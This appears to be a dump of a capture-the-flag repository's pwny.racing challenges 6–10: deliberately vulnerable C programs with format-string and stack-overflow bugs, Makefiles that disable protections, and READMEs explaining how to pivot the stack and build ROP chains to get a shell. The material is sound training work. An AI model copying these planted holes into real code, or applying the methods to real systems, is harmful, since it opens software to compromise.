385 | alias = 0; 386 | 387 | if (strcmp(cmd, CMD_ADD) == 0){ 388 | add(aka); 389 | } else 390 | if (strcmp(cmd, CMD_EDIT) == 0){ 391 | edit(alias); 392 | } else 393 | if (strcmp(cmd, CMD_DEL) == 0){ 394 | del(alias); 395 | } else 396 | if (strcmp(cmd, CMD_SHOW) == 0){ 397 | show(alias); 398 | } else 399 | if (strcmp(cmd, CMD_SCORE) == 0){ 400 | score(alias); 401 | } else 402 | if (strcmp(cmd, CMD_TOP) == 0){ 403 | top(); 404 | } else 405 | if (strcmp(cmd, CMD_LEAD) == 0){ 406 | totals(); 407 | } else 408 | if (strcmp(cmd, CMD_QUIT) == 0){ 409 | quit(); 410 | } 411 | } 412 | 413 | void menu(){ 414 | 415 | printf("\n"); 416 | printf(" \x1b[1;35mstuff:\033[0m\n\n"); 417 | 418 | printf(" * add * edit *\n"); 419 | printf(" * del * show *\n"); 420 | printf(" * inc * lead *\n"); 421 | printf(" * top * quit *\n"); 422 | 423 | printf("\n"); 424 | 425 | printf(" > "); 426 | fflush(stdout); 427 | } 428 | 429 | void banner(){ 430 | 431 | puts("\n pwny.racing presents...\n"); 432 | 433 | puts(" \x1b[1;35m\x1b[47m▄█████████\x1b[0m\x1b[1;35m▄\x1b[0m \x1b[1;35m\x1b[4" \ 434 | "7m▄███\x1b[0m \x1b[1;35m\x1b[47m▄███\x1b[0m \x1b[1;35m\x1b[47m▄███\x1b[0m " \ 435 | " \x1b[1;35m\x1b[47m▄███\x1b[0m \x1b[1;35m\x1b[47m▄█████████\x1b[0m\x1b[1;35m▄" \ 436 | "\x1b[0m \x1b[1;35m\x1b[47m▄███\x1b[0m\n \x1b[0;45m\x1b[1;35m████▀▀▀████\x1b[0m " \ 437 | "\x1b[1;35m████ ████\x1b[0m \x1b[1;35m█████▄ ████\x1b[0m \x1b[0;45m\x1b[1;3" \ 438 | "5m▀▀▀▀▀▀▀████\x1b[0m \x1b[1;35m████\x1b[0m\n \x1b[1;35m████▄▄▄████\x1b[0m \x1b[" \ 439 | "1;35m████ ▄ ████\x1b[0m \x1b[1;35m███████████\x1b[0m \x1b[1;35m ▄▄▄███" \ 440 | "\x1b[0;45m\x1b[1;35m▀\x1b[0m \x1b[1;35m████\x1b[0m\n \x1b[1;35m██████████\x1b[0" \ 441 | ";45m\x1b[1;35m▀\x1b[0m \x1b[1;35m████▄███▄████\x1b[0m \x1b[1;35m████\x1b[45m▀" \ 442 | "\x1b[0m\x1b[1;35m██████\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀███\x1b[0m\x1b[1;35m" \ 443 | "▄\x1b[0m \x1b[1;35m████\x1b[0m\n \x1b[1;35m████\x1b[0;35m▀▀▀▀▀▀\x1b[0m \x1b[1;" \ 444 | "35m██████\x1b[0;45m\x1b[1;35m▀██████\x1b[0m \x1b[1;35m████\x1b[0m \x1b[35m▀" \ 445 | "\x1b[0m\x1b[0;45m\x1b[1;35m▀████\x1b[0m \x1b[1;35m▄▄▄▄▄▄▄████\x1b[0m \x1b[0;45" \ 446 | "m\x1b[1;35m▀▀▀▀\x1b[0m\n \x1b[1;35m████\x1b[0m \x1b[1;35m████\x1b[0;45m" \ 447 | "\x1b[1;35m▀\x1b[0;35m▀\x1b[0m \x1b[0;35m▀\x1b[1;35m\x1b[0;45m\x1b[1;35m▀████" \ 448 | "\x1b[0m \x1b[1;35m████\x1b[0m \x1b[1;35m████\x1b[0m \x1b[1;35m██████████\x1b" \ 449 | "[0;45m\x1b[1;35m▀\x1b[0m \x1b[1;35m████\x1b[0m\n \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0" \ 450 | "m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m " \ 451 | "\x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m \x1b[0;45m" \ 452 | "\x1b[1;35m▀▀▀▀▀▀▀▀▀▀\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m\n"); 453 | 454 | puts(" community challenge!\n"); 455 | 456 | menu(); 457 | } 458 | 459 | int main(){ 460 | 461 | setvbuf(stdin, 0, _IONBF, 0); 462 | setvbuf(stdout, 0, _IONBF, 0); 463 | 464 | alarm(60); 465 | banner(); 466 | 467 | char buf[48]; 468 | char aka[16]; 469 | char cmd[16]; 470 | 471 | while (fgets(buf, sizeof(buf), stdin) != NULL){ 472 | 473 | buf[strcspn(buf, "\r\n")] = 0; 474 | 475 | cmd[0] = '\0'; 476 | aka[0] = '\0'; 477 | 478 | sscanf(buf, "%15[^ \t.\n]%*c %15[^ \t.\n]%*c", cmd, aka); 479 | process(cmd, aka); 480 | 481 | if (strlen(buf) > 1) 482 | menu(); 483 | } 484 | 485 | return 0; 486 | } -------------------------------------------------------------------------------- /pwnyracing/chall06/dist/chall06.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall06/dist/chall06.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall06/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-z relro -z now -fno-stack-protector -Wno-format-security # -no-pie -fno-pic 2 | SRC=chall06.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall06 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall06/src/chall06.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define MAX_RETRY 24 7 | #define MAX_STRING 13 8 | #define MAX_BUFFER 1024 9 | #define MAX_PADDING 16 10 | 11 | #define PADDING do {char *mem = alloca(MAX_PADDING); memset(mem, '\0', MAX_PADDING);} while(0); 12 | 13 | char data[MAX_BUFFER]; 14 | 15 | void clear(char *c[]){ 16 | 17 | if (!c) 18 | return; 19 | 20 | char **var; 21 | char *ptr; 22 | 23 | for (var = c; *var != NULL; var++) 24 | for (ptr = *var; *ptr != 0; *ptr++ = 0/*, ptr++*/, *var = 0); 25 | 26 | var = 0; 27 | ptr = 0; 28 | } 29 | 30 | void banner(){ 31 | 32 | puts(" pwny.racng presents...\n\n\e[32;1m\e[47m▄\e[0m\e[32;1m█" \ 33 | "████████▄\e[0m \e[32;1m\e[47m▄\e[0m\e[32;1m███ \e[32;1m\e[47m▄\e[0m\e[32;1m███\e[0m \e[3" \ 34 | "2;1m\e[47m▄\e[0m\e[32;1m███ \e[32;1m\e[47m▄\e[0m\e[32;1m███\e[0m \e[32;1m\e[47m▄\e[0m\e[32" \ 35 | ";1m███ \e[32;1m\e[47m▄\e[0m\e[32;1m███\e[0m \e[32;1m\e[47m▄\e[0m\e[32;1m███\e[0m\n\e[32;1m" \ 36 | "████\e[42;1m▀▀▀████\e[0m \e[32;1m████ ████\e[0m \e[32;1m█████▄ ████\e[0m \e[32;1m████ " \ 37 | "████\e[0m \e[32;1m████\e[0m\n\e[32;1m████▄▄▄████\e[0m \e[32;1m████ ▄ ████\e[0m \e[32;1m███" \ 38 | "████████\e[0m \e[32;1m████▄▄▄████\e[0m \e[32;1m████\e[0m\n\e[32;1m██████████\e[42;1m▀\e[0m " \ 39 | "\e[32;1m████▄███▄████\e[0m \e[32;1m████\e[0m\e[32m▀\e[32;1m\e[42;1m▀█████\e[0m \e[32;1m\e[42" \ 40 | ";1m▀██████████\e[0m \e[32;1m████\e[0m\n\e[32;1m████\e[0m\e[32m▀▀▀▀▀▀\e[0m \e[32;1m\e[42;1m█" \ 41 | "█████▀██████\e[0m \e[32;1m████ \e[0m\e[32m▀\e[32;1m████\e[0m \e[32m▀▀▀▀▀▀\e[0m\e[32;1m████" \ 42 | "\e[0m \e[37;1m\e[42;1m▄\e[32;1m▄▄▄\e[0m\n\e[32;1m████\e[0m \e[32;1m████\e[42;1m▀\e[0m" \ 43 | "\e[32m▀\e[0m \e[32m▀\e[0m\e[32;1m\e[42;1m▀████\e[0m \e[32;1m████ ████\e[0m \e[32;1m" \ 44 | "████\e[0m \e[32;1m████\e[0m\n\e[32m▀▀▀▀\e[0m \e[32m▀▀▀▀ ▀▀▀▀\e[0m \e[32m▀▀▀▀ ▀▀" \ 45 | "▀▀\e[0m \e[32m▀▀▀▀\e[0m \e[32m▀▀▀▀\e[0m\n"); 46 | } 47 | 48 | int again(){ 49 | 50 | int n = 0; 51 | char retry[MAX_RETRY]; 52 | 53 | printf("retry? (yes sir/nope): "); 54 | if (retry[(n = read(0, retry, MAX_RETRY))-1] == '\n') 55 | retry[n-1] = '\0'; 56 | 57 | return strncmp("yes sir", retry, MAX_RETRY) == 0; 58 | } 59 | 60 | int input(){ 61 | 62 | PADDING; 63 | printf("input: "); 64 | 65 | read(0, data, MAX_BUFFER); 66 | return strlen(data) <= MAX_STRING; 67 | } 68 | 69 | int output(){ 70 | 71 | register long long *rdx asm("rdx"); 72 | register long long *rsp asm("rsp"); 73 | 74 | PADDING; 75 | printf("output: "); 76 | 77 | rdx = 0; 78 | *(rsp+3) = 0; 79 | 80 | printf(data); 81 | return again(); 82 | } 83 | 84 | int play(){ 85 | 86 | PADDING; 87 | 88 | if (!input()) 89 | _exit(0); 90 | 91 | return output(); 92 | } 93 | 94 | int main(int argc, char *argv[], char *envp[]){ 95 | 96 | register long long *rsp asm("rsp"); 97 | *(rsp+7) = (long long) &_exit; 98 | 99 | PADDING; 100 | 101 | clear(argv); 102 | clear(envp); 103 | 104 | alarm(60); 105 | setvbuf(stdin, 0, _IONBF, 0); 106 | setvbuf(stdout, 0, _IONBF, 0); 107 | 108 | banner(); 109 | while (1){ 110 | 111 | if (!play()) 112 | break; 113 | } 114 | 115 | return 0; 116 | } -------------------------------------------------------------------------------- /pwnyracing/chall07/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -z relro -z now -fno-stack-protector -Wno-format-security # -no-pie -fno-pic 2 | SRC=chall07.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=$(SRC:.c=) 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall07/src/chall07.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define MAX_RETRY 24 7 | #define MAX_STRING 13 8 | #define MAX_BUFFER 1024 9 | #define MAX_PADDING 16 10 | 11 | #define PADDING do {char *mem = alloca(MAX_PADDING); memset(mem, '\0', MAX_PADDING);} while(0); 12 | 13 | char data[MAX_BUFFER]; 14 | 15 | void clear(char *c[]){ 16 | 17 | if (!c) 18 | return; 19 | 20 | char **var; 21 | char *ptr; 22 | 23 | for (var = c; *var != NULL; var++) 24 | for (ptr = *var; *ptr != 0; *ptr++ = 0, *var = 0); 25 | 26 | var = 0; 27 | ptr = 0; 28 | } 29 | 30 | void quit(){ 31 | 32 | _exit(EXIT_SUCCESS); 33 | } 34 | 35 | void banner(){ 36 | 37 | puts("\npwny.racng presents...\n\n\e[32;1m\e[47m▄\e[0m\e[32;1m█████████▄\e[0m \e[32;1m\e[47m▄" \ 38 | "\e[0m\e[32;1m███ \e[32;1m\e[47m▄\e[0m\e[32;1m███\e[0m \e[32;1m\e[47m▄\e[0m\e[32;1m███ " \ 39 | "\e[32;1m\e[47m▄\e[0m\e[32;1m███\e[0m \e[32;1m\e[47m▄\e[0m\e[32;1m███ \e[32;1m\e[47m▄\e[0m" \ 40 | "\e[32;1m███\e[0m \e[32;1m\e[47m▄\e[0m\e[32;1m███\e[0m\n\e[32;1m████\e[42;1m▀▀▀████\e[0m \e[3" \ 41 | "2;1m████ ████\e[0m \e[32;1m█████▄ ████\e[0m \e[32;1m████ ████\e[0m \e[32;1m████\e[0m\n" \ 42 | "\e[32;1m████▄▄▄████\e[0m \e[32;1m████ ▄ ████\e[0m \e[32;1m███████████\e[0m \e[32;1m████▄▄▄" \ 43 | "████\e[0m \e[32;1m████\e[0m\n\e[32;1m██████████\e[42;1m▀\e[0m \e[32;1m████▄███▄████\e[0m \e[" \ 44 | "32;1m████\e[0m\e[32m▀\e[32;1m\e[42;1m▀█████\e[0m \e[32;1m\e[42;1m▀██████████\e[0m \e[32;1m██" \ 45 | "██\e[0m\n\e[32;1m████\e[0m\e[32m▀▀▀▀▀▀\e[0m \e[32;1m\e[42;1m██████▀██████\e[0m \e[32;1m████" \ 46 | " \e[0m\e[32m▀\e[32;1m████\e[0m \e[32m▀▀▀▀▀▀\e[0m\e[32;1m████\e[0m \e[37;1m\e[42;1m▄\e[32;1" \ 47 | "m▄▄▄\e[0m\n\e[32;1m████\e[0m \e[32;1m████\e[42;1m▀\e[0m\e[32m▀\e[0m \e[32m▀\e[0m\e[32" \ 48 | ";1m\e[42;1m▀████\e[0m \e[32;1m████ ████\e[0m \e[32;1m████\e[0m \e[32;1m████\e[0m\n" \ 49 | "\e[32m▀▀▀▀\e[0m \e[32m▀▀▀▀ ▀▀▀▀\e[0m \e[32m▀▀▀▀ ▀▀▀▀\e[0m \e[32m▀▀▀▀\e[0" \ 50 | "m \e[32m▀▀▀▀\e[0m\n community challenge!\n"); 51 | } 52 | 53 | int again(){ 54 | 55 | int n = 0; 56 | char retry[MAX_RETRY]; 57 | 58 | printf("retry? (yes sir/nope): "); 59 | if (retry[(n = read(0, retry, MAX_RETRY))-1] == '\n') 60 | retry[n-1] = '\0'; 61 | 62 | return strncmp("yes sir", retry, MAX_RETRY) == 0; 63 | } 64 | 65 | int input(){ 66 | 67 | PADDING; 68 | printf("input: "); 69 | 70 | read(0, data, MAX_BUFFER); 71 | return strlen(data) <= MAX_STRING; 72 | } 73 | 74 | int output(){ 75 | 76 | register long long *rdx asm("rdx"); 77 | register long long *r10 asm("r10"); 78 | register long long *rsp asm("rsp"); 79 | 80 | PADDING; 81 | printf("output: "); 82 | 83 | *(rsp+3) = 0; 84 | 85 | PADDING; 86 | rdx = 0; 87 | r10 = 0; 88 | 89 | printf(data, 0, 0, 0, 0, 0); 90 | return again(); 91 | } 92 | 93 | int play(){ 94 | 95 | PADDING; 96 | 97 | if (!input()) 98 | _exit(0); 99 | 100 | return output(); 101 | } 102 | 103 | int main(int argc, char *argv[], char *envp[]){ 104 | 105 | register long long *rsp asm("rsp"); 106 | *(rsp+7) = (long long) &quit; 107 | *(rsp+24) = (long long) 0xabcdef; 108 | 109 | PADDING; 110 | 111 | clear(argv); 112 | clear(envp); 113 | 114 | alarm(60); 115 | setvbuf(stdin, 0, _IONBF, 0); 116 | setvbuf(stdout, 0, _IONBF, 0); 117 | 118 | banner(); 119 | while (1){ 120 | 121 | if (!play()) 122 | break; 123 | } 124 | 125 | return 0; 126 | } -------------------------------------------------------------------------------- /pwnyracing/chall08/README.md: -------------------------------------------------------------------------------- 1 | # Chall 08 2 | 3 | ## Description 4 | 5 | The vulnerability is a simple stack based buffer overflow where the buffer is 6 | written byte by byte according to an index variable `i`. Since `i` is stored 7 | after the buffer, after `1024` bytes the attacker will be able to write over 8 | the LSByte of the index, this allows them to skip over the stack canary in 9 | order to control the flow of the application (though the stored return address). 10 | 11 | Although all of that is simple enough, that is where the real problem begins. 12 | The premis of this challenge is to showcase a set of techniques that are useful 13 | when a leak and second payload are required to successfully pop a shell but 14 | there is no easy access to direct input and output functions such as `puts`, 15 | `printf`, `read`, `write` etc. 16 | 17 | All input and output in the binary is done through the `f*()` family of 18 | functions that expect a valid `FILE *` as an argument. Since it is a 64 bit 19 | binary with ASLR, this makes the `stdin` and `stdout` file pointers effectively 20 | unpredictable. In addition to these limitations, one cannot expect to simply 21 | jump into the middle of some function to supply a different buffer to some call 22 | to `fwrite` as `stdin` and `stdout` are dereferenced from `.data` and that 23 | happens before any other function arguments are placed into registers. Even if 24 | you could jump into the middle of a function in order to obtain a valid leak, 25 | you would have the additional burden of having to pass the stack canary check 26 | at the end of that function (the same stack canary that was not setup due to 27 | the fact the attacker jumped into the middle of a function). 28 | 29 | ## Note 30 | 31 | The only artificial addition to the binary is the clearing of registers before 32 | returning from `main()`. This is not to make things trickier, but rather to not 33 | confuse the players as there is a rather interesting behavioural difference with 34 | this kind of binary that is buffered both at the kernel level as well as libc 35 | when served over `xinetd`. Once a buffer is soley managed by libc as opposed to 36 | the kernel, then the `xinetd` buffering can alter the order of operations in 37 | the `IO` jump table. 38 | 39 | This has the effect of making the values in volatile and regular registers less 40 | consistent with local runs and so the players might have a dangling `FILE *` 41 | reference in a register locally but they will be confused when this is not the 42 | case remotely. So by clearing the possible locations for a `FILE *` reference 43 | after `IO` jumps we can ensure the players will not attempt to waste time 44 | building payloads around these values. 45 | 46 | ## Exploitation 47 | 48 | There are a few ways to deal with this kind of problems (some more esoteric 49 | than others) but I will limit myself to explaining the simplest and most 50 | general method (in my opinion) that is quite simple, although some people may 51 | not be familiar or have never independently arrived at the same conclusion 52 | (because there are other methods). 53 | 54 | The idea is quite simple, do a partial pivot (using `rbp`) to a known memory 55 | location. Since all local variables are positioned relative to `rbp` (by 56 | default), it will be possible to shuffle certain useful values on the fake 57 | stack. Once we have the data we need (to perform a libc ID), then we can 58 | read/write a useful payload. 59 | 60 | So the idea is to use the fake stack to generate real unguessable values 61 | (like a stack canary or `stdout FILE *`) and then build a ropchain around 62 | them, being careful to not damage the uninitialised values over several runs 63 | (restarting the binary). 64 | 65 | Keep in mind that the `FILE *` will be line buffered by default, so any leaks 66 | that do not contain whitespace that forces a flush (like `\n` and `\r`) will 67 | require a `fflush(fp)` call. 68 | -------------------------------------------------------------------------------- /pwnyracing/chall08/dist/chall08.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall08/dist/chall08.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall08/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -z relro -z now -fstack-protector-all -no-pie -fno-pic -O0 2 | SRC=chall08.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall08 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall08/src/chall08.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define MAX_INPUT 1024 /* size of input buffer */ 10 | #define MAX_HSIZE 16 /* size of human readable filesize buffer */ 11 | 12 | typedef struct data { 13 | char input[MAX_INPUT]; 14 | size_t n; 15 | } data; 16 | 17 | size_t i; 18 | char byte; 19 | struct stat info; 20 | 21 | void banner(){ 22 | 23 | fprintf(stdout, " pwny.racing presents...\n" \ 24 | "\n\e[34;1m\e[47m▄\e[0m\e[34;1m█████████▄\e[0m \e[34;1m\e[47m▄\e[0m\e[34;" \ 25 | "1m███ \e[34;1m\e[47m▄\e[0m\e[34;1m███\e[0m \e[34;1m\e[47m▄\e[0m\e[34" \ 26 | ";1m███ \e[34;1m\e[47m▄\e[0m\e[34;1m███\e[0m \e[34;1m\e[47m▄\e[0m\e[34;" \ 27 | "1m██████████\e[0m \e[34;1m\e[47m▄\e[0m\e[34;1m███\e[0m\n\e[34;1m████\e[4" \ 28 | "4;1m▀▀▀████\e[0m \e[34;1m████ ████\e[0m \e[34;1m█████▄ ████\e[0m \e[" \ 29 | "34;1m████\e[44;1m▀▀▀▀▀▀▀\e[0m \e[34;1m████\e[0m\n\e[34;1m████▄▄▄████\e[0" \ 30 | "m \e[34;1m████ ▄ ████\e[0m \e[34;1m███████████\e[0m \e[34;1m████▄▄▄▄▄▄" \ 31 | "\e[0m \e[34;1m████\e[0m\n\e[34;1m██████████\e[44;1m▀\e[0m \e[34;1m████▄" \ 32 | "███▄████\e[0m \e[34;1m████\e[0m\e[34m▀\e[34;1m\e[44;1m▀█████\e[0m \e[34m" \ 33 | "▀\e[0m\e[34;1m\e[44;1m▀▀▀▀▀▀████\e[0m \e[34;1m████\e[0m\n\e[34;1m████\e[" \ 34 | "0m\e[34m▀▀▀▀▀▀\e[0m \e[34;1m\e[44;1m██████▀██████\e[0m \e[34;1m████ \e" \ 35 | "[0m\e[34m▀\e[34;1m████\e[0m \e[34;1m▄▄▄▄▄▄▄████\e[0m \e[37;1m\e[44;1m▄\e" \ 36 | "[34;1m▄▄▄\e[0m\n\e[34;1m████\e[0m \e[34;1m████\e[44;1m▀\e[0m\e[34" \ 37 | "m▀\e[0m \e[34m▀\e[0m\e[34;1m\e[44;1m▀████\e[0m \e[34;1m████ ████\e[0m " \ 38 | "\e[34;1m██████████\e[44;1m▀\e[0m \e[34;1m████\e[0m\n\e[34m▀▀▀▀\e[0m " \ 39 | " \e[34m▀▀▀▀ ▀▀▀▀\e[0m \e[34m▀▀▀▀ ▀▀▀▀\e[0m \e[34m▀▀▀▀▀▀▀▀▀▀\e[0m" \ 40 | " \e[34m▀▀▀▀\e[0m\n"); 41 | fflush(stdout); 42 | } 43 | 44 | char *filesize(double size, char *out){ 45 | 46 | int i; 47 | const char *units[] = { "b", "kb", "mb", "gb", NULL }; 48 | 49 | for(i = 0; size > 1024; size /= 1024, i++); 50 | sprintf(out, "%.*f%s", i, size, units[i]); 51 | 52 | return out; 53 | } 54 | 55 | void printinfo(char *filename, struct stat *info, FILE *output){ 56 | 57 | char *path = realpath(filename, NULL); 58 | char size[MAX_HSIZE]; 59 | 60 | struct passwd *pw = getpwuid(info->st_uid); 61 | 62 | if (S_ISREG(info->st_mode)){ 63 | 64 | memset(size, 0, MAX_HSIZE); 65 | filesize((double) info->st_size, size); 66 | 67 | fprintf(output, "\e[1;1mpath:\e[0m %s\n" \ 68 | "\e[1;1mtype:\e[0m file\n" \ 69 | "\e[1;1msize:\e[0m %s\n" \ 70 | "\e[1;1muser:\e[0m %s\n\n", 71 | path, size, pw->pw_name); 72 | 73 | } else if (S_ISDIR(info->st_mode)){ 74 | 75 | fprintf(output, "\e[1;1mpath:\e[0m %s\n" \ 76 | "\e[1;1mtype:\e[0m dir\n" \ 77 | "\e[1;1muser:\e[0m %s\n\n", 78 | path, pw->pw_name); 79 | 80 | } else { 81 | 82 | fprintf(stderr, "\e[31;1moops:\e[0m only regular files or directories.\n"); 83 | } 84 | 85 | free(path); 86 | } 87 | 88 | void main(int argc, char *argv[]){ 89 | 90 | FILE *out; 91 | 92 | struct data data; 93 | data.n = 0; 94 | 95 | banner(); 96 | 97 | if (argc > 1){ 98 | 99 | if ((out = fopen(argv[1], "a+")) == NULL){ 100 | fprintf(stderr, "\e[31;1moops:\e[0m cannot open output file for writing.\n"); 101 | _exit(EXIT_FAILURE); 102 | } 103 | 104 | } else { 105 | 106 | out = stdout; 107 | } 108 | 109 | fprintf(stdout, "file: "); 110 | fflush(stdout); 111 | 112 | while (!feof(stdin)){ 113 | 114 | byte = fgetc(stdin); 115 | if (byte == '\n') 116 | break; 117 | 118 | i = data.n++; 119 | data.input[i] = byte; 120 | } 121 | 122 | data.input[data.n] = '\0'; 123 | 124 | if (stat(data.input, &info) == 0){ 125 | 126 | printinfo(data.input, &info, out); 127 | 128 | } else { 129 | 130 | fprintf(stderr, "\e[31;1moops:\e[0m file not found.\n"); 131 | } 132 | 133 | fflush(out); 134 | 135 | if (fileno(out) > STDERR_FILENO) 136 | fclose(out); 137 | 138 | register long long *rcx asm("rcx") = 0; 139 | register long long *rdx asm("rdx") = 0; 140 | register long long *rdi asm("rdi") = 0; 141 | register long long *rsi asm("rsi") = 0; 142 | register long long *r8 asm("r8") = 0; 143 | register long long *r9 asm("r9") = 0; 144 | } -------------------------------------------------------------------------------- /pwnyracing/chall09/dist/chall09.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall09/dist/chall09.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall09/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=arm-linux-gnueabihf-gcc-4.8 2 | CFLAGS=-s -z relro -z now -fstack-protector-all -marm -O0 3 | SRC=chall09.c 4 | OBJ=$(SRC:.c=.o) 5 | BIN=chall09 6 | 7 | .PHONY : clean 8 | 9 | all: 10 | $(MAKE) $(BIN) 11 | 12 | $(BIN): $(OBJ) 13 | $(CC) $(CFLAGS) $(OBJ) -o $@ 14 | 15 | .o: 16 | $(CC) $(CFLAGS) $< -o $@ 17 | 18 | challenge: all 19 | rm -f $(OBJ) 20 | 21 | clean: 22 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall09/src/chall09.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | typedef long long * BLOCK; 6 | 7 | #define MAX_BUFF 0x20 8 | #define MAX_NUMS 0x10 9 | 10 | char input[MAX_BUFF]; 11 | 12 | void banner(){ 13 | 14 | write(STDOUT_FILENO, " pwny.racing presents" \ 15 | "...\n\n\e[36;1m\e[47m▄\e[0m\e[36;1m█████████▄\e[0m \e[36;1m\e[47m▄\e[0m" \ 16 | "\e[36;1m███ \e[36;1m\e[47m▄\e[0m\e[36;1m███\e[0m \e[36;1m\e[47m▄\e[0" \ 17 | "m\e[36;1m███ \e[36;1m\e[47m▄\e[0m\e[36;1m███\e[0m \e[36;1m▄\e[47m▄\e[0" \ 18 | "m\e[36;1m█████████\e[0m \e[36;1m\e[47m▄\e[0m\e[36;1m███\e[0m\n\e[36;1m██" \ 19 | "██\e[46;1m▀▀▀████\e[0m \e[36;1m████ ████\e[0m \e[36;1m█████▄ ████\e[" \ 20 | "0m \e[36;1m\e[46;1m████▀▀▀▀▀▀▀\e[0m \e[36;1m████\e[0m\n\e[36;1m████▄▄▄██" \ 21 | "██\e[0m \e[36;1m████ ▄ ████\e[0m \e[36;1m███████████\e[0m \e[36;1m████" \ 22 | "▄▄▄▄▄▄\e[0m \e[36;1m████\e[0m\n\e[36;1m██████████\e[46;1m▀\e[0m \e[36;1" \ 23 | "m████▄███▄████\e[0m \e[36;1m████\e[0m\e[36m▀\e[36;1m\e[46;1m▀█████\e[0m " \ 24 | "\e[36;1m\e[46;1m████▀▀▀████\e[0m \e[36;1m████\e[0m\n\e[36;1m████\e[0m\e[" \ 25 | "36m▀▀▀▀▀▀\e[0m \e[36;1m\e[46;1m██████▀██████\e[0m \e[36;1m████ \e[0m\e" \ 26 | "[36m▀\e[36;1m████\e[0m \e[36;1m████▄▄▄████\e[0m \e[37;1m\e[46;1m▄\e[36;1" \ 27 | "m▄▄▄\e[0m\n\e[36;1m████\e[0m \e[36;1m████\e[46;1m▀\e[0m\e[36m▀\e[" \ 28 | "0m \e[36m▀\e[0m\e[36;1m\e[46;1m▀████\e[0m \e[36;1m████ ████\e[0m \e[36" \ 29 | ";1m\e[46;1m▀█████████▀\e[0m \e[36;1m████\e[0m\n\e[36m▀▀▀▀\e[0m \e" \ 30 | "[36m▀▀▀▀ ▀▀▀▀\e[0m \e[36m▀▀▀▀ ▀▀▀▀\e[0m \e[36m▀▀▀▀▀▀▀▀▀\e[0m \e[" \ 31 | "36m▀▀▀▀\e[0m\n\n\e[1;1mSum Calculator\e[0m\n", 0x6b3); 32 | } 33 | 34 | int main(int argc, char *argv[]){ 35 | 36 | int value = 0; 37 | int total = 0; 38 | 39 | int n = 0; 40 | 41 | int nums[MAX_NUMS] = { 42 | 0, 0, 0, 0, 0, 0, 0, 0, 43 | 0, 0, 0, 0, 0, 0, 0, 0 44 | }; 45 | int *ptr = nums; 46 | 47 | alarm(60); 48 | banner(); 49 | sleep(1); 50 | 51 | while (1){ 52 | 53 | write(STDOUT_FILENO, "<< ", 3); 54 | n = read(STDIN_FILENO, input, MAX_BUFF); 55 | *((BLOCK) input+(n-1)) = 0x00; 56 | 57 | value = 0; 58 | value = atoi(input); 59 | 60 | if (n == 0 || input[0] == '=') 61 | break; 62 | 63 | *ptr++ = value; 64 | } 65 | 66 | ptr = nums; 67 | while (*ptr) 68 | total += *ptr++; 69 | 70 | printf("\e[1mresult:\e[0m %d\n", total); 71 | return EXIT_SUCCESS; 72 | } -------------------------------------------------------------------------------- /pwnyracing/chall10/README.md: -------------------------------------------------------------------------------- 1 | # Chall 10 (Episode 7a - Speedrun Edition) 2 | 3 | ## Challenge 4 | 5 | A standard stack based buffer overflow challenge on a x86_64 binary. The intended method 6 | for solving is to build a ROP chain in order to leak and read in a second payload in order 7 | to run something. 8 | 9 | ## Protections 10 | 11 | ``` 12 | Arch: amd64-64-little 13 | RELRO: Partial RELRO 14 | Stack: No canary found 15 | NX: NX enabled 16 | PIE: No PIE (0x400000) 17 | ``` 18 | -------------------------------------------------------------------------------- /pwnyracing/chall10/dist/chall10.tar.gz: -------------------------------------------------------------------------------- 